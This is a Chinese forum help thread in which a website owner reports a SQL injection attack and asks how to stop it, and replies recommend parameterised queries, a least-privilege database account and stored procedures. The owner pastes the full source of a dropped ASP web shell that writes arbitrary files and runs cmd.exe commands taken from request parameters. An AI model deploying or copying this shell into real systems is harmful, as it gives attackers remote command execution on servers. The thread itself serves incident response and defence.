注入了四个表
d99_cmd,d99_reg,d99_tmp,pangolin_test_table
在网站的根目录里注入了四个文件
98.asp,315.asp,db.asp,le.asp
在我的C盘里注入了一个cpand99.txt文件
它的内容是:
<%Dim objFSO%> 
<%Dim fdata%> 
<%Dim objCountFile%> 
<%on error resume next%> 
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> 
<%if Trim(request("syfdpath"))<>"" then%> 
<%fdata = request("cyfddata")%> 
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> 
<%objCountFile.Write fdata%> 
<%else%> 
<%end if%> 
<%err.clear%> 
<%end if%> 
<%Set objFSO = Nothing%> 
<%=server.createobject("wscript.shell").exec("cmd.exe /c" &request("c")).stdout.readall%> 我看了一下日志.是通过url用sql注入的.我想问一下我能不能通过重写一个url把这个解决掉.
还是就是能不能有别的办法不要再让它向里面写文件了.我网站已经把everyone 用户删除了.其它的用户也只有read的权限.可还是注入了.请高手救命呀!

解决方案 »

  1.   

    不知道被注入的 URL 是什么?具体的其他参数?你的业务处理和数据过程?
      

  2.   

    url参数没过滤sql存储过程没使用文件上传类型识别不彻底站内搜索框参数没过滤.....
      

  3.   

    检查程序里面有没有拼接SQL语句才是正经的。参数化是正确的方法。
      

  4.   

    另外连接数据库的用户不要用sa,单独创建一个用户,只分配需要用到的权限,sa能做的事情太多了,很危险
      

  5.   

    参数化操作
    http://topic.csdn.net/u/20090708/09/b78444ee-9081-4ff7-8aa5-ba6f9b1d9fdc.html
      

  6.   

    把你拼的SQL文改成存储过程。